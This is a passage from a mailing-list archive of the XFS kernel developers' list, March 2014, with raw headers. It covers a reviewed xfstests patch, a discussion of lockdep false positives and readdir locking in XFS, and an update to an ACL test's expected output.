LcmEQsMTKiGmV3fXJzyj =vgY8 -----END PGP SIGNATURE----- From prvs=81468c4843=jbacik@fb.com Mon Mar 10 14:56:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2DFB77F3F for ; Mon, 10 Mar 2014 14:56:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0B761304066 for ; Mon, 10 Mar 2014 12:56:55 -0700 (PDT) X-ASG-Debug-ID: 1394481413-04cbb054b6217a60001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0a-00082601.pphosted.com [67.231.145.42]) by cuda.sgi.com with ESMTP id MhcluP1hdyn6uBrK for ; Mon, 10 Mar 2014 12:56:53 -0700 (PDT) X-Barracuda-Envelope-From: prvs=81468c4843=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.145.42 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] Received: from pps.filterd (m0044008 [127.0.0.1]) by mx0a-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s2AJumSM022471; Mon, 10 Mar 2014 12:56:52 -0700 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=HTyo3v6Rt0yzbH1mWE9NoBXthBILnJuiD1H3tldBm5A=; b=cM8OYlZvOaMepy/00fSelyUflkMlPHIsOVcCVJQdw046awR++XAjmxz16QJ5EM8RX2c1 Cpr6AIZSsJspZBK9OEiKhaD652lxpBxEBubMCjd8+66LoomE8Dtfnqjh23nFbhEhlBet UusUw9It20PTJ5sr6pGHxw0+QL+2BC12jbU= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0a-00082601.pphosted.com with ESMTP id 1jhatwj6a6-16 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 10 Mar 2014 12:56:51 -0700 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.23) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 10 Mar 2014 12:54:39 -0700 Message-ID: <531E187D.4000406@fb.com> Date: Mon, 10 Mar 2014 15:54:37 -0400 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Filipe David Borba Manana , CC: Subject: Re: [PATCH v3] xfstests: add test for btrfs-progs restore feature References: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> <1393375444-3760-1-git-send-email-fdmanana@gmail.com> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: add test for btrfs-progs restore feature In-Reply-To: <1393375444-3760-1-git-send-email-fdmanana@gmail.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-03-10_03:2014-03-10,2014-03-10,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=5.17466958172008e-10 kscore.compositescore=0 circleOfTrustscore=976.04386983901 compositescore=0.324642340081358 urlsuspect_oldscore=0.324642340081358 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=2524143 rbsscore=0.324642340081358 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1403100105 X-FB-Internal: deliver X-Barracuda-Connect: mx0a-00082601.pphosted.com[67.231.145.42] X-Barracuda-Start-Time: 1394481413 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 02/25/2014 07:44 PM, Filipe David Borba Manana wrote: > This is a regression test to verify that the restore feature of > btrfs-progs is able to correctly recover files that have compressed > extents, specially when the respective file extent items have a > non-zero data offset field. > > This issue is fixed by the following btrfs-progs patch: > > Btrfs-progs: fix restore dealing with compressed extents > > Signed-off-by: Filipe David Borba Manana --- > > V2: Fixed title of btrfs-progs patch in the comment and commit > message. V3: Make use of TEST_DIR instead of /tmp, defined > $here=`pwd` and better comments about the conditions necessary to > make the test fail. As suggested by Dave Chinner. > Tested with and without the patch, works as expected. I would go even further and say create a $seqnum directory in $TEST_DIR to restore into but I'm not that married to the idea Reviewed-by: Josef Bacik Thanks, Josef -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTHhh9AAoJEANb+wAKly3B6LYP/1DWxfxymW3dyx56qOYH7R/d z9GsJPapK5bcwF27hYOVbKooLIGYbB/XrJox8QK/+KCrg6mcJRGDwvYClB7nX83R wD3izB+hgOEcOs/ucVDT8dQECSimfyiZBoG3oXptdX53XeXwOLkzXX10rRJpawys C5Ztf0RRKUiGBcdJX9mYFXjx9MC37rTjMHAzaobb5CMYQKHpncn4BqWwONGhjPAg ZvdXTX5V+qT/VTRFzXrcw7ZdIAIajxAPnfM6zCG9GG+0D5w9MPjzS1OvDA95SdhZ XL9cmASOGDKRodNbtlFZlKGqvvVw4L6fRw8Qj0GJTxLBU1ZnktZwQJKjAarKoSvk cIIl3BtCQFifGkKLjpRfEPxrifRe3vMP2nxwqF9wiYv2Q3kl/oE8RX0l+dAQgZ6h Ls+BkxdUVUQLtK2JR2YbQqsSe/UvwqgnPF9nPTv9v1iAhkZV4pJcbGvRZcx330Dh uQlqZOHkEhF/NhksocQJPExwIMndhT2cUxvtfBCO5kNiiZF0XRWyYDOW6VXp6ajQ ELYvcmBMkJMAt5Il7a2pichQXRIjXybNXAgbdMJq+2jBL/WQDg5IuH+NRMG/TBUZ gJv708ciCyjoDsgobA+MUNfVgtPN0iBPV5tDtysP1K9taEIPlFEoyvRYRCr04XYq TiIG5wmFhxieOv57wcX6 =kszA -----END PGP SIGNATURE----- From david@fromorbit.com Mon Mar 10 15:46:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DB6257F3F for ; Mon, 10 Mar 2014 15:46:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D09D68F8037 for ; Mon, 10 Mar 2014 13:46:56 -0700 (PDT) X-ASG-Debug-ID: 1394484411-04cb6c5675419060001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Xs2p4TrcxHjiJIY3 for ; Mon, 10 Mar 2014 13:46:52 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhbQAOUjHlN5LJYePGdsb2JhbABagwaDRoUMtC2FWIEgFQIDAQEBAR8ZDShegSwBDQEIAQMBAQEDAScTHCMQCAMOCgklDwUlAwcaE4VJAQGCDQEYB89XFxaORQeEOASUWYNrlW8pgS4k Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Mar 2014 07:16:50 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WN75z-00025v-Mt; Tue, 11 Mar 2014 07:46:47 +1100 Date: Tue, 11 Mar 2014 07:46:47 +1100 From: Dave Chinner To: Christoph Hellwig Cc: "Michael L. Semon" , xfs-oss Subject: Re: Multi-CPU harmless lockdep on x86 while copying data Message-ID: <20140310204647.GW6851@dastard> X-ASG-Orig-Subj: Re: Multi-CPU harmless lockdep on x86 while copying data References: <531BD8B9.1090400@gmail.com> <20140310025523.GV6851@dastard> <20140310103716.GA1431@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140310103716.GA1431@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394484411 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3769 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 10, 2014 at 03:37:16AM -0700, Christoph Hellwig wrote: > On Mon, Mar 10, 2014 at 01:55:23PM +1100, Dave Chinner wrote: > > Changing the directory code to handle this sort of locking is going > > to require a bit of surgery. However, I can see advantages to moving > > directory data to the same locking strategy as regular file data - > > locking heirarchies are identical, directory ilock hold times are > > much reduced, we don't get lockdep whining about taking page faults > > with the ilock held, etc. > > > > A quick hack at to demonstrate the high level, initial step of using > > the IOLOCK for readdir serialisation. I've done a little smoke > > testing on it, so it won't die immediately. It should get rid of all > > the nasty lockdep issues, but it doesn't start to address the deeper > > restructing that is needed. > > What synchronization do we actually need from the iolock? Pushing the > ilock down to where it's actually needed is a good idea either way, > though. The issue is that if we push the ilock down to the just the block mapping routines, the directory can be modified while the readdir is in progress. That's the root problem that adding the ilock solved. Now, just pushing the ilock down to protect the bmbt lookups might result in a consistent lookup, but it won't serialise sanely against modifications. i.e. readdir only walks one dir block at a time but it maps multiple blocks for readahead and keeps them in a local array and doesn't validate them again before issuing read o nthose buffers. Hence at a high level we currently have to serialise readdir against all directory modifications. The only other option we might have is to completely rewrite the directory readahead code not to cache mappings. If we use the ilock purely for bmbt lookup and buffer read, then the ilock will serialise against modification, and the buffer lock will stabilise the buffer until the readdir moves to the next buffer and picks the ilock up again to read it. That would avoid the need for high level serialisation, but it's a lot more work than using the iolock to provide the high level serialisation and i'm still not sure it's 100% safe. And I've got no idea if it would work for CXFS. Hopefully someone from SGI will chime in here.... > > This would be a straight forward change, except for two things: > > filestreams and lockdep. The filestream allocator takes the > > directory iolock and makes assumptions about parent->child locking > > order of the iolock which will now be invalidated. Hence some > > changes to the filestreams code is needed to ensure that it never > > blocks on directory iolocks and deadlocks. instead it needs to fail > > stream associations when such problems occur. > > I think the right fix is to stop abusing the iolock in filestreams. > To me it seems like a look inside fstrm_item_t should be fine > for what the filestreams code wants if I understand it correctly. > > From looking over some of the filestreams code just for a few minutes > I get an urge to redo lots of it right now.. I get that urge from time to time, too. So far I've managed to avoid it. > > @@ -1228,7 +1244,7 @@ xfs_create( > > * the transaction cancel unlocking dp so don't do it explicitly in the > > * error path. > > */ > > - xfs_trans_ijoin(tp, dp, XFS_ILOCK_EXCL); > > + xfs_trans_ijoin(tp, dp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL); > > What do we need the iolock on these operations for? These are providing the high level readdir vs modification serialisation protection. And we have to unlock it on transaction commit, which is why it needs to be added to the xfs_trans_ijoin() calls... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Mar 10 15:51:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 628687F3F for ; Mon, 10 Mar 2014 15:51:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5423B8F8037 for ; Mon, 10 Mar 2014 13:51:22 -0700 (PDT) X-ASG-Debug-ID: 1394484680-04cb6c5678419500001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id XdsEcW9rRxegxv3h for ; Mon, 10 Mar 2014 13:51:20 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvFXABMlHlN5LJYePGdsb2JhbABagwaDRoUMtC2FWIEgFwMBAQEBHxkNKIIlAQEBBCcTHBwHEAgDDgoJJQ8FJQMHGhOHeM9bFxaORQeEOASYRJVvKQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Mar 2014 07:21:20 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WN7AM-00027H-PZ; Tue, 11 Mar 2014 07:51:18 +1100 Date: Tue, 11 Mar 2014 07:51:18 +1100 From: Dave Chinner To: Christoph Hellwig Cc: "Michael L. Semon" , xfs-oss Subject: Re: Multi-CPU harmless lockdep on x86 while copying data Message-ID: <20140310205118.GX6851@dastard> X-ASG-Orig-Subj: Re: Multi-CPU harmless lockdep on x86 while copying data References: <531BD8B9.1090400@gmail.com> <20140310025523.GV6851@dastard> <20140310103716.GA1431@infradead.org> <20140310111253.GA4801@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140310111253.GA4801@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394484680 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3769 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 10, 2014 at 04:12:53AM -0700, Christoph Hellwig wrote: > On Mon, Mar 10, 2014 at 03:37:16AM -0700, Christoph Hellwig wrote: > > I think the right fix is to stop abusing the iolock in filestreams. > > To me it seems like a look inside fstrm_item_t should be fine > > for what the filestreams code wants if I understand it correctly. > > Seems like the iolock could be removed fairly easily by using either of > the two options: > > a) reference count fstrm_item, and just grab a reference to it for each > child as well as the parent and insert it multiple times. Kill > ->pip. > b) only allocate and insert fstrm_items for directories. Find the > directory by grabbing an entry off inode->i_dentry and then grabbing > the parent. There always should be a dentry around when we allocate > blocks, and if none we can just skip out of the filestreams > allocator if there's none. For the cases that matter there is. > > Both mean that the race it tries to protect against using the iolock is > remove entirely, and the code becomes more efficient as well. Option a) > seems simple to implement, but b) will save a lot more memory and > operations when using the filestreams allocator. Yeah, b) seems like the way to simplify it - the filestreams code really only needs to track the parent/ag relationship rather than the child/parent relationship if there is a reliable way of determining the parent from the child. What do we do with hardlinked files in this case? I'm happy to say "too bad" for these files mainly because the filestream allocator is aimed at associating multiple file creations together, so hard links really don't matter AFAICT... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Mon Mar 10 15:52:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D83ED7F3F for ; Mon, 10 Mar 2014 15:52:53 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 55B8BAC003; Mon, 10 Mar 2014 13:52:50 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B203E4266DC; Mon, 10 Mar 2014 15:52:49 -0500 (CDT) Date: Mon, 10 Mar 2014 15:52:49 -0500 From: Ben Myers To: Dave Chinner Cc: "Michael L. Semon" , xfs-oss Subject: Re: Multi-CPU harmless lockdep on x86 while copying data Message-ID: <20140310205249.GS1935@sgi.com> References: <531BD8B9.1090400@gmail.com> <20140310025523.GV6851@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140310025523.GV6851@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Dave, On Mon, Mar 10, 2014 at 01:55:23PM +1100, Dave Chinner wrote: > On Sat, Mar 08, 2014 at 09:58:01PM -0500, Michael L. Semon wrote: > > Hi! I was playing a shell game with some precious backup data. It > > went like this: > > > > open a 36-GB source partition (DM linear, partitions from 2 drives, > > v5-superblock XFS) > > > > open a 32-GB aes-xts crypt (v4-superblock XFS) > > > > `cp -av` from holding partition to crypt > > > > It was during the cp operation that I got this multi-CPU version of > > the harmless lockdep: > > > > ========================================================= > > [ INFO: possible irq lock inversion dependency detected ] > > 3.14.0-rc5+ #6 Not tainted > > --------------------------------------------------------- > > kswapd0/25 just changed the state of lock: > > (&xfs_dir_ilock_class){++++-.}, at: [<791c09fa>] xfs_ilock+0xff/0x16c > > but this lock took another, RECLAIM_FS-unsafe lock in the past: > > (&mm->mmap_sem){++++++} > > > > and interrupts could create inverse lock ordering between them. > > > > > > other info that might help us debug this: > > Possible interrupt unsafe locking scenario: > > > > CPU0 CPU1 > > ---- ---- > > lock(&mm->mmap_sem); > > local_irq_disable(); > > lock(&xfs_dir_ilock_class); > > lock(&mm->mmap_sem); > > > > lock(&xfs_dir_ilock_class); > > Well, that's rather interesting. I'd love to know where we take the > directory ilock with interupts disabled - and then take a page > fault... :/ > > .... > > > } > > ... key at: [<795f1eec>] __key.44037+0x0/0x8 > > ... acquired at: > > [<79064360>] __lock_acquire+0x397/0xa6c > > [<7906510f>] lock_acquire+0x8b/0x101 > > [<790d1718>] might_fault+0x81/0xa9 > > [<790f379a>] filldir64+0x92/0xe2 > > [<7916f079>] xfs_dir2_sf_getdents+0x1a0/0x44c > > [<7917009e>] xfs_readdir+0xc4/0x126 > > [<79171b8b>] xfs_file_readdir+0x25/0x3e > > [<790f385a>] iterate_dir+0x70/0x9b > > [<790f3a31>] SyS_getdents64+0x6d/0xcc > > [<792f85b8>] sysenter_do_call+0x12/0x36 > > All of these paths are from the syscall path, except for one in > kswapd context. I don't see any stack trace here that could result > in the above "deadlock". It looks to be yet another false > positive... > > > I call it harmless because its single-CPU variant can be reproduced > > as far back as I could bisect in earlier testing (way before > > kernel 2.6.20). However, such lockdep splats have never manifested > > in a noticeable problem on production kernels on x86. Either > > down_write_nested or down_read_nested is in all of them, depending > > on which kernel version is in use. At least one reclaim-related > > function is in there as well. vm_map_ram used to be in there, but Dave > > took care of that (thanks!). > > > > This particular splat has been showing up more often, though. It's not > > tied to one particular commit, event, or change; just something that > > has crept in gradually since maybe kernel 3.11. It's like watching > > grass grow or watching paint dry. > > The above reports all indicate that the taking a page fault while > holding the directory ilock is problematic. So have all the other > new lockdep reports we've got that have been caused by that change. > > Realistically, I think that the readdir locking change was > fundamentally broken. Why? Because taking page faults while holding > the ilock violates the lock order we have for inodes. For regular > files, the lock heirarchy is iolock -> page fault -> ilock, and we > got rid of the need for the iolock in the inode reclaim path because > of all the problems it caused lockdep. Now we've gone and > reintroduced that same set of problems - only worse - by allowing > the readdir code to take page faults while holding the ilock.... > > I'd like to revert the change that introduced the ilock into the > readdir path, but I suspect that woul dbe an unpopular direction to > take. However, we need a solution that doesn't drive us insane with > lockdep false positives. > > IOWs, we need to do this differently - readdir needs to be protected > by the iolock, not the ilock, and only the block mapping routines in > the readdir code should be protected by the ilock. i.e. the same > locking strategy that is used for regular files: iolock protects the > contents of the file, the ilock protects the inode metadata. > > What I think we really need to do is drive the ilock all the way > into the block mapping functions of the directory code and to the > places where the inode metadata is actually going to be modified. > The iolock protects access to the directory data, and logging of > changes to those blocks is serialised by the buffer locks, so we > don't actually need the inode ilock to serialise access to the > directory data - we only need the ilock for modifications to the > inode and it's blockmaps itself, same as for regular files. > > Changing the directory code to handle this sort of locking is going > to require a bit of surgery. However, I can see advantages to moving > directory data to the same locking strategy as regular file data - > locking heirarchies are identical, directory ilock hold times are > much reduced, we don't get lockdep whining about taking page faults > with the ilock held, etc. > > A quick hack at to demonstrate the high level, initial step of using > the IOLOCK for readdir serialisation. I've done a little smoke > testing on it, so it won't die immediately. It should get rid of all > the nasty lockdep issues, but it doesn't start to address the deeper > restructing that is needed. > > Thoughts, comments? I'm especially interested in what SGI people > have to say here because this locking change was needed for CXFS, > and changing the directory locking iheirarchy is probably going to > upset CXFS a lot... Protecting directory contents with the iolock and pushing the ilock down to protect the directory block mapping functions seems like a good strategy to me. In this area I think it's good to treat directories the same as regular files. I have not had a very close look yet... and couldn't find where we take a fault with irqs disabled. Maybe something out of a workqueue? Thanks, Ben From david@fromorbit.com Mon Mar 10 15:53:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AD3717F3F for ; Mon, 10 Mar 2014 15:53:09 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 43D30AC001 for ; Mon, 10 Mar 2014 13:53:09 -0700 (PDT) X-ASG-Debug-ID: 1394484787-04cb6c56784196f0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ixoQXtEMBOzF6Cva for ; Mon, 10 Mar 2014 13:53:07 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Au5XABMlHlN5LJYePGdsb2JhbABagwaDRoUMtC2FWIEgFwMBAQEBHxkNKIIlAQEBBDocIxAIAxUDCSUPBSUDBxoTh3jPWxcWjWFkB4Q4BJhElB2BUimBLA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Mar 2014 07:23:06 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WN7C5-00028V-G6; Tue, 11 Mar 2014 07:53:05 +1100 Date: Tue, 11 Mar 2014 07:53:05 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfstests: shared/051: update golden output to match the XFS max acl return errno Message-ID: <20140310205305.GY6851@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: shared/051: update golden output to match the XFS max acl return errno References: <531D7897.2030800@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <531D7897.2030800@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394484787 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3769 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 10, 2014 at 04:32:23PM +0800, Jeff Liu wrote: > From: Jie Liu > > Update the golden output to match the recently XFS return errno > changes if hit the limits of maximum number of ACLs. > > Signed-off-by: Jie Liu > --- > tests/shared/051.out | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/tests/shared/051.out b/tests/shared/051.out > index a871082..354ec6a 100644 > --- a/tests/shared/051.out > +++ b/tests/shared/051.out > @@ -280,7 +280,7 @@ mask::rwx > other::rwx > > 1 above xfs acl max > -chacl: cannot set access acl on "largeaclfile": Invalid argument > +chacl: cannot set access acl on "largeaclfile": Argument list too long That breaks the test on older kernels. Can you add a filter that kills the "Invalid argument"/"Argument list too long" part of the error message so the same golden output works for old and new kernels? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Mar 10 16:08:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 07C787F4E for ; Mon, 10 Mar 2014 16:08:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8E9DAAC003 for ; Mon, 10 Mar 2014 14:08:45 -0700 (PDT) X-ASG-Debug-ID: 1394485720-04cb6c567841a640001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 9JBeZm1TEs13qwCu for ; Mon, 10 Mar 2014 14:08:40 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtxxAMUoHlN5LJYePGdsb2JhbABagwY7gwumJASTEYVYgSAXAwEBAQEfGQ0ogiUBAQEDAScTHCMFCwgDDgoJJQ8FJQMHGhMbh1YHDs9xFoxJgXwHhDgEmESVbymBLiQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Mar 2014 07:38:39 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WN7R7-0002Dv-R0; Tue, 11 Mar 2014 08:08:37 +1100 Date: Tue, 11 Mar 2014 08:08:37 +1100 From: Dave Chinner To: Tetsuo Handa Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: [3.14-rc5 xfs] Lockdep warning Message-ID: <20140310210837.GZ6851@dastard> X-ASG-Orig-Subj: Re: [3.14-rc5 xfs] Lockdep warning References: <201403101955.AAI04114.QJOFFFtHMSOLOV@I-love.SAKURA.ne.jp> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <201403101955.AAI04114.QJOFFFtHMSOLOV@I-love.SAKURA.ne.jp> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394485720 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3769 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 10, 2014 at 07:55:19PM +0900, Tetsuo Handa wrote: > I get below lockdep warning as of 1dc3217d on linux.git. I guess the situation > is same as of v3.14-rc6 because there is no changes in fs/xfs directory between > 1dc3217d and v3.14-rc6. False positive. Lockdep is complaining about having different page fault lock heirarchies for regular files versus directories. It's too stupid to understand that the directory and regular inodes have differnet lock classes and so therefore this: > [ 96.098894] Possible unsafe locking scenario: > > [ 96.099795] CPU0 CPU1 > [ 96.100234] ---- ---- > [ 96.100666] lock(&(&ip->i_lock)->mr_lock); > [ 96.101158] lock(&mm->mmap_sem); > [ 96.101597] 